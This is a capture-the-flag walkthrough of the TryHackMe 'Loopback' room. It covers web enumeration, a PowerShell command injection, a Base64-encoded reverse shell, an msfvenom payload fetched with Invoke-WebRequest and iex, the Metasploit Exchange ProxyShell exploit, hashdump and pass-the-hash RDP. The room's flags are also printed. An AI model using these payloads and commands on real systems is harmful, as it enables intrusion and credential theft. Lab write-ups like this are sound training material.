Loopback TryHackMe Walkthrough
TL;DR Walkthrough of the TryHackMe room Loopback.
THM Walkthroughs:
A full list of our TryHackMe walkthroughs and cheatsheets is here.
Background
I have not done much with webapps since I took eJPT three years ago. Hence I am going through some TryHackMe rooms and pathways to brush up. Loopback wasn’t a bad room, but the VM was a bit janky in my time using it. Additionally it is being used in a scenario that should never be seen in the real world, however that could just be due to TryHackMe’s 1 VM limitation on free user created rooms. I ran into that restriction when I created a room. The limitation was quite irksome and caused me to have to use some really duct tapey “solutions”.
Initial Recon
As always we start with an nmap scan.
sudo nmap -sC -sV -O 10.10.120.196 -p-
This is odd. The system looks like it’s on a domain, but there’s only one VM in the room and the VM isn’t responding to nmap the way a DC would.
Hence I moved on to webapp directory enumeration via dirb and gobuster.
dirb https://10.10.188.176 /usr/share/wordlists/dirb/common.txt
gobuster dir -u https://10.10.188.176 -w /usr/share/wordlists/dirb/common.txt
I didn’t have any luck with those, so I tried ffuf.
ffuf -w /usr/share/wordlists/wfuzz/general/medium.txt -u https://10.10.120.196/FUZZ -fw 1
This gets us a URL to try; https://10.10.188.176/test.
I then tried nikto.
nikto -h 10.10.120.196
This gets us a username and password to try; admin / admin.
Initial Access
Put the two together and we can login to https://10.10.188.176/test with admin/admin and get the service flag.
THM{Security_Through_Obscurity_Is_Not_A_Defense}
Of course the first thing I tried was to simply put a ‘ ; ‘ followed by another command. This only caused an error. The way the textbox was encoded it basically does:
('Get-Content "C:\$filename"')
$filename is whatever you put into the box. So the trick is to put
‘) ; & <command we want to run> (‘
Causing the webapp to do the below:
(‘Get-Content “C:\$filename”‘) ; & <command we want to run> (‘’)
The & in PowerShell is used as a call operator. For example:
$cmd = "Get-Process"
& $cmd
#Runs
Get-Process
Essentially we are giving the webapp 2 variables, with the second being a command or commands.
One can test it via:
BitlockerActiveMonitoringLogs') ; & whoami ; whoami /groups ('
The webapp ran:
('Get-Content C:\BitlockerActiveMonitoringLogs') ; whoami ; whoami /groups ('')
Essentially we have command injection as thm\admin, and we now know what groups they are in.
The first step to do once a command injection vector is found in a webapp is to attempt to get a reverse shell via it. One can easily generate a reverse shell payload here.
Use PowerShell #3 (Base64) on the left drop down list, put in your Kali VM’s IP, pick Base64 encode, and the site takes care of the rest.
The site even helpfully lets you know exactly what command to run on Kali to catch the reverse shell.
nc -lvnp 9001
Copy/paste the following into the webapp’s input box.
') | Out-Null ; & powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMgAzAC4AMgAwAC4AMgA0ADUAIgAsADkAMAAwADEAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAgACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAkAHMAZQBuAGQAYgBhAGMAawAyACAAPQAgACQAcwBlAG4AZABiAGEAYwBrACAAKwAgACIAUABTACAAIgAgACsAIAAoAHAAdwBkACkALgBQAGEAdABoACAAKwAgACIAPgAgACIAOwAkAHMAZQBuAGQAYgB5AHQAZQAgAD0AIAAoAFsAdABlAHgAdAAuAGUAbgBjAG8AZABpAG4AZwBdADoAOgBBAFMAQwBJAEkAKQAuAEcAZQB0AEIAeQB0AGUAcwAoACQAcwBlAG4AZABiAGEAYwBrADIAKQA7ACQAcwB0AHIAZQBhAG0ALgBXAHIAaQB0AGUAKAAkAHMAZQBuAGQAYgB5AHQAZQAsADAALAAkAHMAZQBuAGQAYgB5AHQAZQAuAEwAZQBuAGcAdABoACkAOwAkAHMAdAByAGUAYQBtAC4ARgBsAHUAcwBoACgAKQB9ADsAJABjAGwAaQBlAG4AdAAuAEMAbABvAHMAZQAoACkA ('
- Sidenote on Base64 -
The reader might ask “but why Base64 encode the command?”. It’s a good question, and the reason is that the command is really an ugly, one liner, group of commands stringed together using ‘;’ to separate them.
Since many webapps put single quotes and/or double quotes around whatever we are injecting it can cause issues in the syntax.
In some usage cases, Base64 is also used to attempt to evade Defender or other EDR/anti-malware.
I wrote more about Base64, including how to encode any command you want, here.
- End Sidenote -
We get a simple PS reverse shell. Let’s check the dev’s Desktop.
cat C:\Users\dev\Desktop\TODO.txt
Hey dev team,
This is the tasks list for the deadline:
Promote Server to Domain Controller [DONE]
Setup Microsoft Exchange [DONE]
Setup IIS [DONE]
Remove the log analyzer[TO BE DONE]
Add all the users from the infra department [TO BE DONE]
Install the Security Update for MS Exchange [TO BE DONE]
Setup LAPS [TO BE DONE]
When you are done with the tasks please send an email to:
joe@thm.local
carol@thm.local
and do not forget to put in CC the infra team!
dev-infrastracture-team@thm.local
There’s a clue in that, and a little piece of information that will come in very handy shortly.
Let’s grab the user flag.
cat C:\Users\dev\Desktop\user.txt
THM{Stop_Reading_Start_Doing}
Escalating Privileges
The next thing I tried was to generate a msfvenom payload, host it on a webserver on Kali, and then Invoke-WebRequest it from the simple PS reverse shell.
#On Kali
mkdir /home/kali/Downloads/payloads
cd /home/kali/Downloads/payloads
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.23.20.245 LPORT=9002 -f exe -o Loopback.exe
#Run a webserver
python3 -m http.server
#Run the multi handler
msfconsole
use exploit/multi/handler
set LPORT 9002
set LHOST 10.23.20.245
set payload windows/x64/meterpreter/reverse_tcp
run
#In the Windows netcat reverse shell
$Command = "Invoke-WebRequest 10.23.20.245:8080/Loopback.exe -OutFile Loopback.exe" ; Invoke-Expression $Command
#Alt,
Invoke-WebRequest -Uri "10.23.20.245/Loopback.exe" -OutFile "C:\Users\dev\Desktop\Loopback.exe"
C:\Users\dev\Desktop\Loopback.exe
However the VM wouldn’t run the *.exe. After simply downloading it via Invoke-WebRequest I checked the folder and saw the issue; it wasn’t there. I suspected Defender was enabled on the VM and was deleting the *.exe, as it should.
I tried running it from memory, I had the syntax in my notes from CRTP.
iex (New-Object Net.WebClient).DownloadString('http://10.23.20.245/Loopback.exe')
However this didn’t work either. Defender seemed to be doing it’s job.
I checked one of the writeups linked to in the room by TryHackMe and realized that I might be barking up the wrong tree anyway. They suggested throwing Metasploit at the Exchange running on the VM as the TODO.txt file stated it wasn’t patched yet. I’m embarrassed I didn’t think of that.
The email address used was found in that same TODO.txt file. I tried one of the other two emails listed first, but apparently it didn’t actually exist in the VM’s Exchange.
sfconsole
search exchange
use exploit/windows/http/exchange_proxyshell_rce
set LHOST 10.23.20.245
set RHOST 10.10.120.196
set EMAIL dev-infrastracture-team@thm.local
run
I had to run it several times before I succeeded in getting a Meterpreter shell.
getuid
hashdump
Gaining Legitimate Access
We have the users and their hashes, but as always I want to access the VM legitimately, i.e. via WinRM, RDP, etc.
shell
PowerShell
winrm quickconfig -force
#disable RestrictedAdmin Mode, aka allow RDP via PTH
New-ItemProperty -Path 'HKLM:\System\CurrentControlSet\Control\Lsa' -name 'DisableRestrictedAdmin' -PropertyType 'DWORD' -value '0' -force
#Disable NLA
$TargetMachine = $env:COMPUTERNAME ; (Get-WmiObject -class "Win32_TSGeneralSetting" -Namespace root\cimv2\terminalservices -ComputerName $TargetMachine -Filter "TerminalName='RDP-tcp'").SetUserAuthenticationRequired(0)
xfreerdp /v:10.10.120.196 /u:Administrator /pth:bd2a588da7537a43413f220ad79b3ec8 /dynamic-resolution
Get-ChildItem -Path "C:\Users" -Filter *.txt -Recurse | Select-String -Pattern "THM" | Select-Object Path, LineNumber, Line
Nice, we have the user and root flags.
THM{Stop_Reading_Start_Doing}
THM{Looking_Back_Is_Not_Always_Bad}
Summary
I also checked the server roles enabled, FW rules in use, whether Defender was enabled, etc after I RDPed in. As stated earlier, this VM is janky. It is in fact a DC, but the FW rules were configured to not allow WinRM, LDAP, and all the other ports that a DC normally has open in an nmap scan.
The room’s author seems to have temporarily disabled Defender before they snapshotted the VM. If you leave the VM running too long Defender re-enables itself. I suspect this is why I had issues with the msfvenom payload. I reset the VM before I attempted to exploit Exchange with Metasploit.
Once I had access as thm\Administrator I also made sure Defender wasn’t enabled, then tried out the payload I had generated in msfvenom. It worked fine.
Overall this room was good practice with webapp enumeration and command injection.
I still have a lot of work to do though brushing up on webapp stuff. Writing this walkthrough already helped me refine my notes, so that’s always a bonus.
References
Call operator in PowerShell: https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_operators?view=powershell-7.5&utm_source=chatgpt.com